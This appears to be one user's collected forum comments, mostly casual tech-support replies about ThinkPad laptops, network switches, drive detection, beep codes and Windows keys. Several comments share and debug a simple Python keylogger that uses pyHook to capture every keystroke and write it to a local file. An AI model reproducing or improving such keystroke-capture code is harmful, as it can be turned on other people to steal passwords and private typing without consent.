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Plug and play my friend

Yup, the X1 carbon is a good thinkpad, just watch some reviews on it. I would go for the windows 10 model

A real print server would probably be along the lines of you deploying the printer through a group policy so that any computer on the network could print to that printer. In your case you sound like you just want to print when you're home, is that correct?

This may be a problem caused by a recent windows update

Thinkpad, particularly the T450s, I have it for work and the thing is a beast. I run VM's on it, play games, and pretty much anything else you can think of. Thinkpads are tough and they are very easy to upgrade with an SSD or RAM for example.

Can you link the switch that you bought? Sometimes there is a designated port for connecting the switch to the network, other than that you can plug anything into any port.

It has a small fan inside, won't be sufficient for cooling during gaming though

Most likely won't be able to run it, it has a small fan inside for cooling though

If you boot into windows using your SSD and then connect the HDD after does it show up on file explorer?

OK, after further testing it turns out you're right, my Ascii values are not correct for some reason and they do not fall in between the 65-125 range... do you have any idea why this might be?

No luck

Yeah that makes sense, but why wouldn't my keyboard input produce an integer value between 65-125, I mean realistically it should since were basically translating it from its Ascii input to it's corresponding character.

So I have this keylogger which is supposed to take the event.Ascii value which is an integer and translate that into a character by using the chr function and then write it into a file. Well it's writing the file but not as I expect, I'm getting these weird symbols instead... you can see the output below: PS I've simplified the code for viewing / testing purposes, I took out the file read / write part to narrow down the problem. Code: http://ideone.com/OrXK6E My output: http://imgur.com/fdD0W3S Thanks!

Edit: So I made changed event.Ascii to int(event.Ascii) and that fixed a lot of problems, the only thing left is that the pythoncom.PumpMessages module is giving me issues.... it says the module exists but can't be referenced? Edit: I fixed the pythoncom.PumpMessages error as well, now I just need my keystrokes to show up in plain text.

import pythoncom import pyHook def key_event(event): if event.Ascii != 0: f = open('D:\log.txt', 'r+') plain_text = f.read() f.close() f = open('D:\log.txt', 'w') keylog = chr(event.Ascii) if event.Ascii == 13: keylog = '/n' plain_text += keylog f.write(plain_text) f.close() return True hm = pyHook.HookManager() hm.KeyDown = key_event hm.HookKeyboard() pythoncom.PumpMessages() So I'm pretty new to python and it's my first time playing around with the pyHook and pythoncom modules, I've spent a lot of time on this keylogger and it just doesn't seem to work I keep getting this same error and I have no idea what it means, it would be cool if I could get some help! The error I am getting: http://imgur.com/kHbCS8z

Great, I'll check it out, thanks!

I know that. I want to make my own script on purpose.. for fun

Thanks for the reply, Java does seem like it is more cut out for this project, maybe I'll pick up some Java this weekend and try to the project using that. Although I am sure there is a way to do this using python, some of those links really helped though, so thanks!

I'm trying to figure out how I can execute a python script via tapping against an NFC tag. For example, I would like to create a script that inputs my wifi credentials into my phone when I tap against the tag. How would I get this script to execute, does it have to redirect to a URL? What module is best for this project. I'm relatively new to python but challenging projects are the best way to learn, and I'm pretty interested in rfid and nfc atm.

Apple's been more profitable since Job's died than before when he was alive

I'm not a big Apple fan, but you can hate them all you want, they took advantage of a market at the right time and now they're one of the big 5's in Silicon Valley. Jobs was a opportunist and brilliant marketer but Woz was the brains behind it all.

What happens when you try to power back on... a black screen?

Google the model of your motherboard and what the beep codes mean. There should be a manual online for that specific mobo, beep codes mean different things depending on the model.

I haven't used any of Lenovo's pre-installed tools on my thinkpad and I did a clean install. There is a package you can install off of Lenovo's website to get those pre-installed tools back.

Call MS Support, it's something messed up with your key, they may be able to give you a new key